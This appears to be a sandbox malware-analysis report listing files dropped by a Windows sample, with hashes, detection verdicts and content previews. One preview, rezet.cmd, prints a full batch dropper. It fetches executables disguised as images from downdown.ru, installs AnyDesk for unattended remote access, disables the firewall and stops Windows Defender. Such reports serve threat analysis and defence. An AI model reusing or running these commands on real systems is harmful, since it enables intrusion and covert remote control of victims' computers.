Preview:	..4t Tray Minimizer 6.07..===========================......CONTENTS..========....(1) DESCRIPTION..(2) MAIN FEATURES..(3) SYSTEM REQUIREMENTS..(4) SETUP.. Installing 4t Tray Minimizer.. Uninstalling 4t Tray Minimizer..(5) ORDERING FULL VERSION..(6) LICENCE INFORMATION..(7) THIRD-PARTY SOFTWARE..(8) MORE PRODUCTS.. 4t Calendar Reminder MP3.. 4t HIT Mail Privacy.. 4t Web Camera..(9) CONTACT INFORMATION........(1) DESCRIPTION..===============....4t Tray Minimizer lets you running applications minimized as ..System Tray icons, which helps in adjusting free space ..on your taskbar. ....Free version of 4t Tray Minimizer stores the Favorites options ..only for the current session. Check the Comparison Chart between ..Free and Pro versions here:.. .. http:\\www.4t-niagara.com\tray_comparison.html......(2) MAIN FEATURES..=================....Please go to this link:.... http://www.4t-niagara.com/tray.html.. ....(3) SYSTEM REQUIREMENTS..======================

C:\Intel\Trays\unins000.dat

Download File

Process:	C:\Intel\driver.exe
File Type:	InnoSetup Log 4t Tray Minimizer, version 0x418, 21084 bytes, VIVOBOOK\\USER\376\, C:\Intel\Trays\376\377\377\007
Category:	dropped
Size (bytes):	21084
Entropy (8bit):	3.9125638161274416
Encrypted:	false
SSDEEP:	192:JCXt8VdouvwpZoD24lhdgBrf1jH0FHRos:JCXyVdoupgBr9H0FHes
MD5:	8B7C19436A7674B89E2BC8BF1BC628AC
SHA1:	3EBF6316D997C0894B6B5C36A4BE229354C92821
SHA-256:	FFC630E3572536E14DAA4A43DA06A38F8C6C70373F700D734CD3FB84E4700504
SHA-512:	5E1F19C2C30D284EF129369A914648EA32819D9686CD411DBB3078604368E8314CBC762DC50CD71CB3A374C3A0C01BECCE88C3BEF82EF8A37B201289B001735C
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................4t Tray Minimizer...............................................................................................................4t Tray Minimizer.......................................................................................................................\R..%...............................................................................................................<0.3........4.U.......Y........V.I.V.O.B.O.O.K......U.S.E.R......C.:.\.I.n.t.e.l.\.T.r.a.y.s..................:.... .....j....r...IFPS....................................................................................................................................................................BOOLEAN..........{...........!MAIN....-1.\|...........INITIALIZESETUP....27..REGISTERWINDOWMESSAGE........FINDWINDOWBYCLASSNAME........SENDMESSAGE...........SLEEP........SENDBROADCASTMESSAGE..........ISWIN64...............................`.........rwmQUIT_APP

C:\Intel\Trays\unins000.exe

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1203807
Entropy (8bit):	6.40760510131349
Encrypted:	false
SSDEEP:	24576:JtdAm9DUi/CR3wCkCiRgoG7hBaHkbEXXeG/jFt5lTxyt6:3qTytRFk6ek1L9
MD5:	F713851CFCA66E37F80C8AA949B1B5AA
SHA1:	BC64DBDEDE8B4AB043A17BF0A1C8C6278E715B7E
SHA-256:	A57CFD11D66E89572224F2648D1CB2FE71030E572B9CD2CAA08074A992841A91
SHA-512:	406D168AEF0251A7F18FC2F94EE92EFFBC690B9D9B99D00296061E964C4880B6CCFBB6D7936FEEB75944D8FEE1973BABC55EC6E683D409249E2A81F7BCE6C06E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W............................l........ ....@.......................................@......@..............................@8...0....................................................... .......................................................text............................... ..`.itext.............................. ..`.data...h0... ...2..................@....bss.....a...`.......0...................idata..@8.......:...0..............@....tls....<............j...................rdata....... .......j..............@..@.rsrc........0.......l..............@..@....................................@..@........................................................................................................................................

C:\Intel\Trays\wishlist.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/tray_next.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.665701415423743
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3xEcg6NuJyn:HRYFVm/r4bQc2Jy
MD5:	E99E79543800A08FEC9EA2D600120CAC
SHA1:	252A73626CBE72B7597ACD90311C55C331672A91
SHA-256:	90E0CFB4F27009D58BB61EFCDEA1F767DC0BB860C08820BB05071E720AFF59D6
SHA-512:	A1C60B2AA2667A7B869275224DAB7FAE4671A5B8ADE8114D69443CA1DC9D1CA15B2150D62548075F4241E3697F09B5B11877961CDFC2D22E7E541D68F77AD792
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/tray_next.html..

C:\Intel\blat.exe

Download File

Process:	C:\Intel\curl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	245760
Entropy (8bit):	5.8308335350962235
Encrypted:	false
SSDEEP:	6144:9MrfThXeQPSDOTvVNLSV3T5gV6K1TkGVKYzNJ9DPi:4fThXeZSDSV3T5gV6K1dNJB
MD5:	34C6DFA28C293B5F21A77F74D94DE16B
SHA1:	04F02B3A69AF2F6A2FE1FF05BFFA8DFE2E39FA96
SHA-256:	E613D07619B28F896B4ADF24D888CF52814FA2EB89F261F2E4715485954251B7
SHA-512:	6BEFDF06B2EEFF8EA1AD4EF82CEBDFDF5E50BE8886C297C16682A973CA14BB2430F34BDDFF6C307641B764DA743447278E5D2145E16B20B8EC6B6A6325C6C479
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\)..=G..=G..=G..=F..=G.."T..=G.q!I..=G.."M.q=G.."L..=G.J;A..=G.Rich.=G.........................PE..L...,v.b.................`...................p....@..........................................................................q..P....................................................................................p...............................text...:Y.......`.................. ..`.rdata.......p.......p..............@..@.data....[.......0..................@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Intel\curl.exe

Download File

Process:	C:\Users\user\Desktop\eqRHH2whJu.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1793024
Entropy (8bit):	6.741879818708683
Encrypted:	false
SSDEEP:	24576:goyH7YomxViffSzoGX0HHdzj2YFvbKRAIM8SUnEtkUdHZZf6zCpSwxoqK9n5Ihq/:Bh76f1FxoQ0SOyFTbTxRPJm9YM
MD5:	9542F4AC0CAEFA766BD67BA879ED2DD4
SHA1:	EF93BF4C28FE70A90AE42E64A55900A6CB756EEC
SHA-256:	78DBE1FBBC7E5F51FA385BE08BB679251E46B43BE690FBC49C412D9D4F647A10
SHA-512:	26BE5184C394C5FEAB422D3AFBF83E469DFB19DA5F45B70642ACACE742A74DBB8E569A2FEE727D244C7CF220CB8D84DBFEDBA842D0C4F84927746228FDBF68D0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X......B...B...B.a~B...B..XB3..B..fB...B..YB...B.>rB...B...B...Ba.]Bz.B..bB...Ba.gB...BRich...B........PE..L...A..T.............................'............@.......................................@.................................d...x.......................................8............................w..@............................................text............................... ..`.rdata..H...........................@..@.data....$...........\|..............@....rsrc................`..............@..@.reloc...............b..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Intel\dc.exe

Download File

Process:	C:\Intel\curl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	831888
Entropy (8bit):	6.990827113590936
Encrypted:	false
SSDEEP:	12288:daWzgMg7v3qnCiIErQohh0F4nCJ8lnyhQaQDErWt5x:8aHMv6CErjDnyhQasMix
MD5:	139464919440E93E49C80CC890B90585
SHA1:	0237408CDB74AD6B8D340CDF0D03C1B1F820CE17
SHA-256:	CE3A6224DAE98FDAA712CFA6495CB72349F333133DBFB339C9E90699CBE4E8E4
SHA-512:	D6993D7568F6B39BF2BA0C0988EB30B9506DC05D50AEF693D22A64C34E0D5CD5BDB32A828B666C9C37F116DEBA63B10CE662B9E42AD1025A7B05EB0B32251A1C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i.i.i..9.k.`.:.w.`.,...`.+.P.N%.c.N%.H.i.d.`. ./.w.:.k.w.;.h.i.8.h.`.>.h.Richi.........................PE..L......K..........#..................c....... ....@..........................p......\| ........@.......@.....................<...T.................................................................................... ..@............................text............................... ..`.rdata..\.... ......................@..@.data............h..................@....rsrc................H..............@..@................................................................................................................................................................................................................................................................................................................................

C:\Intel\driver.exe

Download File

Process:	C:\Intel\curl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	300032
Entropy (8bit):	6.500047150408548
Encrypted:	false
SSDEEP:	6144:IrughCeBm7vbQlCwPakaBstCRvIX6kth2mbh7:IrlfQ7CsBkCRvI
MD5:	29086D9247FDF40452563C11B3DCA394
SHA1:	33B264F85CAA86FCD81E5FD75E654A9A1A4C26C8
SHA-256:	BB243113D236F823ABD1839025190E763FE34C40DA4949B77558995CC1A07625
SHA-512:	3DC8E3E61FB1F2D98F7482EAB464CB0C356F5616CC3D3BC74932E39F47D632A4DDC307222B6B219FAE36A0BCA04D0CB09C8DAFF00C15C22C5F1811DB479086AE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L.....H.................0...................@....@.............................................. ......................g....................................................................p.......................................................text....0.......&.................. ..`.data.... ...@...F...,..............@....tls.........`.......r..............@....rdata.......p.......t..............@..P.idata...............v..............@..@.edata..............................@..@

C:\Intel\rezet.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	777
Entropy (8bit):	4.940501657793061
Encrypted:	false
SSDEEP:	24:FAKjBKLmkJLNJJLXMzl+JLsRHJLP6JLJzzLifN4u0W+Lzi0:Flj8bJDJg5+JeHJuJVPLit0jP
MD5:	95F58D9588A97F586CCAEEDA9FF6CD00
SHA1:	6796DAF3DED7D0F1DC1D63E8A5A1DCF8E6F6AB03
SHA-256:	2567291C2A82C25F93143F35BB1E8664185AD8C16D125BE4AD720AE94128391E
SHA-512:	F75A84726E3A9A52CBDC4F9065BF11C0A9E4867EF2FF8224F8690CBB7B4009E71173AF75C379DA21ABBEED4C328A51CE517B403E5BE31DE12E0A9929D5A0E192
Malicious:	true
Preview:	cd C:\Intel\..ping -n 6 127.0.0.1..C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg..C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg..C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg..C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg..C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg..C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg..C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y..start C:\Intel\Trays\Trays.lnk..svchost.exe --install C:\Intel\AnyDesk..netsh advfirewall set allprofiles state off..sc stop WinDefend..C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg.. C:\Intel\AnyDesk\bat.lnk..

C:\Intel\svchost.exe

Download File

Process:	C:\Intel\curl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	5331456
Entropy (8bit):	7.99990183000247
Encrypted:	true
SSDEEP:	98304:K/9YNbhcFtvWK+XJURR51NX6hzzVwDmIoEWXF5fX+LWHF7uC+:KCNbhcF1WKW6whfOjGvAWHM
MD5:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
SHA1:	6AEDB74E3C6B886A2945323C8789B32891CA12A2
SHA-256:	7F813D6552F20F2E761807E94C34EDCFE91570A9D637C82C955AE52768367046
SHA-512:	8E009A0E4398EDBCDB7BEE17F37AE5885935E910348F0FC2FFE838BBFFB2B56BF6DE9BB7F34B08C04DD8ABB1C29C0313006697872D9EBF09950947B96758F16D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........h.}.;.}.;.}.;..";.}.;..#;.}.;...;.}.;...;.}.;Rich.}.;........................PE..L....X.f..........".........0Q..T%..........@....@...........................v......Q...@...................................................................v.......%..............................................................................text...w(......................... ..`.itext...T%..@...........................rdata........%.....................@..@.data....&Q...%..$Q..2..............@....reloc........v......VQ.............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AnyDesk\ad_svc.trace

Download File

Process:	C:\Intel\AnyDesk\AnyDesk.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26081
Entropy (8bit):	4.414941426096957
Encrypted:	false
SSDEEP:	384:+du7mw9w1Lr1y6Z8pnwO9k27C4+cjRne9g6hIKXbrgeOmV2up9lB:+du7mw9w1Lr1y6WpnwOCi6hIKXHtAuf
MD5:	3851A3BD9A9D1A3DB6A263BC92BAD2D5
SHA1:	7AF7A06A3FC1EDCAB9EB7E9FC18AAC5E724F2EB1
SHA-256:	1FA09892ACC8806E75A7D845356099D45B2597D8EA6321F4A23B2C1715D68F4E
SHA-512:	BD450DACEA7DD21CBE24BF2FED62D974AE5C28130EAA0D67248C49704D834B83310E6FDA796AC084F2EAFCDF2B530F588B162B27CC82CD49168580CA57DF57A4
Malicious:	false
Preview:	* * * * * * * * * * * * * * * * * .. info 2025-01-08 15:18:29.542 gsvc 4776 4484 main - AnyDesk Windows Startup .. info 2025-01-08 15:18:29.542 gsvc 4776 4484 main - Version 8.0.14 (release/win_8.0.14 13967ce7c71d8c19a49dd697dbd0dec1c8d166bf).. info 2025-01-08 15:18:29.542 gsvc 4776 4484 main - * Checksum 3b1bfbef334434f66640155f39e4c33b.. info 2025-01-08 15:18:29.542 gsvc 4776 4484 main - * Build 20240822172725.. info 2025-01-08 15:18:29.542 gsvc 4776 4484 main - * Copyright (C) 2024 AnyDesk Software GmbH *.. info 2025-01-08 15:18:29.542 gsvc 4776 4484 main - .. info 2025-01-08 15:18:29.542 gsvc 4776 4484 main - Command Line params: "C:\Intel\AnyDesk\AnyDesk.exe" --ser

C:\ProgramData\AnyDesk\cache\device-id.cache

Download File

Process:	C:\Intel\AnyDesk\AnyDesk.exe
File Type:	data
Category:	dropped
Size (bytes):	312
Entropy (8bit):	7.228130904835201
Encrypted:	false
SSDEEP:	6:8d1TNgx8ShdqsY8HGWMrHU59l1hcYscJrZ0vZTRGCJXzyf+kXl:F8SeN3rH8sFwZKZTwKjY+kXl
MD5:	BDED48B2D447C211FF85C059F3584498
SHA1:	F4FF4C40540C5ADE3D4B1C2901605D5294137225
SHA-256:	F59AB7AEA5A9C0AEAFD2739605BB5135DBDB06C92278E8BBCB31EE53F92C1805
SHA-512:	35795F1A37068A3785FA2FDD3D598BDAF26ED73D1E67770CB158EDAA84D6831B59BEC1AD9FDFFB2006EEFA79B21C931A0E8F07926F016D3F5D1A71B998986259
Malicious:	false
Preview:	..W.....+DID-V1-0194467f-00b7-7c60-b33d-d6c3f439a9e1.....x..68.m%........6...)...v(....x...WY...Vp..>t...N".>3F.7.$..!.l.......m.B.I..G..>Y.....p.....q...f..."..\|.~4....Q....L..j......U3@..K,.P".^..@.....r.....m.M~..'.<U...`h.-{X...6.CEV.]X.B..w......%-.s....52^.#.......+.3w=...F..G...]X...

C:\ProgramData\AnyDesk\service.conf

Download File

Process:	C:\Intel\AnyDesk\AnyDesk.exe
File Type:	ASCII text, with very long lines (1747)
Category:	dropped
Size (bytes):	3102
Entropy (8bit):	6.046674595407877
Encrypted:	false
SSDEEP:	96:uISTJi/ETBjP2Fgz6xgWEbUjSNcWEz9cJDTLq4j0CQm0Yk:yTJi/oBj+U6xgWd9cNTWHYk
MD5:	9312DE3020C6A8AAD5C73ED26B4D9F08
SHA1:	24DF673B676FF9400C7D270CF2B31ABED4626D06
SHA-256:	58144AB952FD24B79CFEF7DA9E999497C3B75D03B20C575D73D4299AE599589E
SHA-512:	26D9B80AD13AD36C8374AACE9B5E331A3C882E59B70B5E4F8A6D610797316353AAC701254C8C62CA377BF580568FC4F93CC41C281FECB7CD5B833238E7AA1BE9
Malicious:	false
Preview:	ad.anynet.cert=-----BEGIN CERTIFICATE-----\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\nbGllbnQwIBcNMjUwMTA4MTUxODMwWhgPMjA3NDEyMjcxNTE4MzBaMBkxFzAVBgNV\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\nAQEAvlNn+p+2IMa1gACdS7UhKRPqDQQ4sDPSbxGWwiMfcVR9gIrloG4T/l3lzk2C\nKgXafn3sdDipfvQChnSjlZuYgku/6HJg0mil7We/Z+MwEdyA8+/jsdOp8ALiKhcW\nvym5Xs6xxvrSXe9vkzCOg9PWnI9AHhRKQV+hJp3hrVNPvgVqrn2ZuT9q9E+7QD/R\n4z11YZpalC2acM2PkkckTq2RwzDZMWdXyuN88fB4uOyKm87pKisEgTL35398Bzd/\ndHZ+zeHQLAhBNGpYMOngqEFPCbMO46/PgpjCzPCd3tWvpfTTz4X6eXa1cjdHo3TI\n75AJCv9Mce2BWLfmDhMEBl5dxwIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAj/CHO\nT1uJNb1YKXAA6tlFozGLyqFw46jGu956UvvuANIIsoQpqYdaRm7f3M3LZrH2Nth4\n8wWyRaU0IklATtCgXCJ7dWtppZSsuYpyuF66mizVDMnePN28h+bybe8A8VcYFg8b\nZBRuZBLpNp3mVk44976REheCNtZdg1Uvjy1g5ZWrbb/IhWemsy2vymXebtufDHpk\n9FSqeFGnldSeenWS9pYfz3J7YMWvgk2JjYopg8OoNBoejsVOTw4tIoyUJ425yFcn\nLM0r+FoVNxRObnJr9Sk20dwP2m/pkMD8kGYCaFrwq8/Nnos/f+Nw7EHCO/l3jVFy\nTbQlYvNlaC1YxjFY\n-----END CERTI

C:\ProgramData\AnyDesk\system.conf

Download File

Process:	C:\Intel\svchost.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	4.807016370247003
Encrypted:	false
SSDEEP:	24:jp/5uB9DhxiBs5sAwg9sVp4LtB4HwMqWEwBHSAO2:jpcTIBICVp82Eu42
MD5:	D8965E7EFB5901B5485B151F62569228
SHA1:	A7903B7482F2FFBE7D904F5AE9B2F499459FCDE4
SHA-256:	A1FDD4D97FFDC66A7773D776AAE67EB82A69304CEBAF4AFB5A418AA2C5588D7D
SHA-512:	F5C99010D21001E8F5AE6080F8CCECA062495365782EF3580DE7E993545011C4940BE717A65D29BAB9E80D89520CDCFEEEFC7131E0776B91A11B7FD24C97F8E4
Malicious:	false
Preview:	ad.anynet.alias=.ad.anynet.client_stats_hash=ad2d457e35be7a522ea4d83fe4b59933a660a6d1.ad.anynet.cur_version=34359803904.ad.anynet.did.hash=544904282.ad.anynet.fpr=a11c15b9cd96a4a30d1746bd229aaefc957e16cf.ad.anynet.id=1238469230.ad.anynet.last_relay=relay-31ee9317.net.anydesk.com:80:443:6568.ad.anynet.network_id=main.ad.anynet.relay.fatal_result=1.0.ad.anynet.relay.state=2.ad.inst.id=8f0f2b8881bb7c8b4af1c46bcbe01341.ad.license.expiry=0.ad.license.name=free-1.ad.security.frontend_clipboard=1.ad.security.frontend_clipboard_files=1.ad.security.frontend_clipboard_version=1.ad.security.permission_profiles._default.permissions.sas=1.ad.security.permission_profiles._unattended_access.permissions.sas=1.ad.security.permission_profiles._unattended_access.pwd=fde5eb4f1790e625d570f8b777b0e20e00fb429fa529e56edd35ac271e2aba0c.ad.security.permission_profiles._unattended_access.salt=20bcdc658dd2cdee603aeb107f0500f4.ad.security.permission_profiles.version=1.ad.security.update_channel=main.ad.security.up

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250108151806Z-169.bmp

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PC bitmap, Windows 3.x format, 154 x -190 x 32, cbSize 117094, bits offset 54
Category:	dropped
Size (bytes):	117094
Entropy (8bit):	1.8759596692099052
Encrypted:	false
SSDEEP:	768:Flmo89wE+GPsXbJGHV4635G+SFhhLywJLtmphVuL18MtIhCT8T8oZZv:8FPstWq6JdlZZv
MD5:	60D37149B4BA4852E6F7B2A1B7F61C11
SHA1:	0315A2CA20BCABDE2C037CA41F6DA1A7E15924DD
SHA-256:	C37512CD94D5F8582B98147803ABCF145FFD210484F242A2366BD2DD78BA7087
SHA-512:	E1A01A723B46AAE1D90589A9465440FE8393AC55D0E2107E1A1327EF2BA87B719BA333895BC9CE8FF08651F0DEBC22DAEE8A2204EA566FA87BBC1F96D52D61D8
Malicious:	false
Preview:	BMf.......6...(.......B..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035004, file counter 33, database pages 17, cookie 0x5, schema 4, UTF-8, version-valid-for 33
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	4.360856482068435
Encrypted:	false
SSDEEP:	384:eeEThgtEL38/GGN5ptmGQen3xx2ZszKhivC5vxwRv0ZsLRGV:ZclGpBgZs/l0ZsLU
MD5:	D571ABDE2CED395E6E403802F1F8C0F6
SHA1:	FD20C5F2185E962C735643356E99BB4CA33DED90
SHA-256:	4A650FF7D257C92AE7FC77581C7B20095D8F1F4BBB273B183125B7EC866496FA
SHA-512:	E7DD5FDF24672E9E608199F0248F78E05216CFD455B26034FABFBE3C660990E1C5C16FE3EC31C22DA4181CE5E454E1A2E2C19FB98E15199298E21781449BE8D2
Malicious:	false
Preview:	SQLite format 3......@ ...!...................................................................!..O\|......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.4854548952911593
Encrypted:	false
SSDEEP:	48:7MDOiol1xCol1sol1Q2iolVfIiolsol1Nol1Aiol1fOiol1fEMol1C8ol1e75ioJ:7lXpwFQPEbn9IVXEBodRBk1
MD5:	B72AF497473FB848795CE37A36725CF1
SHA1:	BFDEBA04FF59F3C455745E271868C445981BBFE9
SHA-256:	E086F9979B2AF1310B471F08B754C92A443BA9DE654F11082834F8EF5222567C
SHA-512:	BC447817C5E13FE3CB173917DAAA775A24DB23E10495083061ACB548EFE038D6EDC0C5CC43C99E1BC70552031C8535078DE122920A311071A9B6B35B5FE93361
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................y...g..m...../.g.......~...r......................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt21.lst (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	536
Entropy (8bit):	5.168073062267472
Encrypted:	false
SSDEEP:	12:T4RFe6h8idRuMgxg6dxs3yBFTtDcZQRAzidRuOPgxg601s3yBFDHpcZQM:kFqid8HxPs3yTTtsnid8OPgx4s3yTDHo
MD5:	6F787FAC5E735DBEE521DCD8D3C8E858
SHA1:	1A171673DEF7919C9B2427310DCC87BBD89AA007
SHA-256:	A1E5CDB84F1B343BBCFBF213C3817E50AA9795D2863CEA841BE130CB7C5FD4C7
SHA-512:	F767B15B364EAE7D822D8D71FB9ADB6AF1400F79AC701035AFD846E0E4D468178FE0E0C76351A88BF6CB678AAD757B47C3CB4A4E82CB7DF706AA9B02F9407755
Malicious:	false
Preview:	%!Adobe-FontList 1.22.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426548852.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426548852.%EndFont..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt22.lst.2076

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	536
Entropy (8bit):	5.168073062267472
Encrypted:	false
SSDEEP:	12:T4RFe6h8idRuMgxg6dxs3yBFTtDcZQRAzidRuOPgxg601s3yBFDHpcZQM:kFqid8HxPs3yTTtsnid8OPgx4s3yTDHo
MD5:	6F787FAC5E735DBEE521DCD8D3C8E858
SHA1:	1A171673DEF7919C9B2427310DCC87BBD89AA007
SHA-256:	A1E5CDB84F1B343BBCFBF213C3817E50AA9795D2863CEA841BE130CB7C5FD4C7
SHA-512:	F767B15B364EAE7D822D8D71FB9ADB6AF1400F79AC701035AFD846E0E4D468178FE0E0C76351A88BF6CB678AAD757B47C3CB4A4E82CB7DF706AA9B02F9407755
Malicious:	false
Preview:	%!Adobe-FontList 1.22.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426548852.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426548852.%EndFont..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt21.lst (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	536
Entropy (8bit):	5.168073062267472
Encrypted:	false
SSDEEP:	12:T4RFe6h8idRuMgxg6dxs3yBFTtDcZQRAzidRuOPgxg601s3yBFDHpcZQM:kFqid8HxPs3yTTtsnid8OPgx4s3yTDHo
MD5:	6F787FAC5E735DBEE521DCD8D3C8E858
SHA1:	1A171673DEF7919C9B2427310DCC87BBD89AA007
SHA-256:	A1E5CDB84F1B343BBCFBF213C3817E50AA9795D2863CEA841BE130CB7C5FD4C7
SHA-512:	F767B15B364EAE7D822D8D71FB9ADB6AF1400F79AC701035AFD846E0E4D468178FE0E0C76351A88BF6CB678AAD757B47C3CB4A4E82CB7DF706AA9B02F9407755
Malicious:	false
Preview:	%!Adobe-FontList 1.22.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426548852.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426548852.%EndFont..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt21.lst (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10254
Entropy (8bit):	5.219521007487608
Encrypted:	false
SSDEEP:	192:rfA2L6Bw6FM76bMx6yU6Hy6Xk6PF6gV6ZQfs6wItRZ6mKtsu68ttG167e/btX458:rYEewSGsmdU4yKkCFFVgQfsfItRZtKt+
MD5:	4BA170A42160C86108475DB3EBD41455
SHA1:	A2274994767970A215A75F862B7F1EAC67ABABB6
SHA-256:	E9AADA55671902B91B000E520F7C9A250A817D10F56DAD113A9B14EB1F38FF4A
SHA-512:	416230BDC34F657425FE574074410A02BD1AD2C9F8F9BBC200A4996DCF469FA5389D43F204AFE8B222A119234D442FEF88E3F87BF23DECFB48A69382B240B338
Malicious:	false
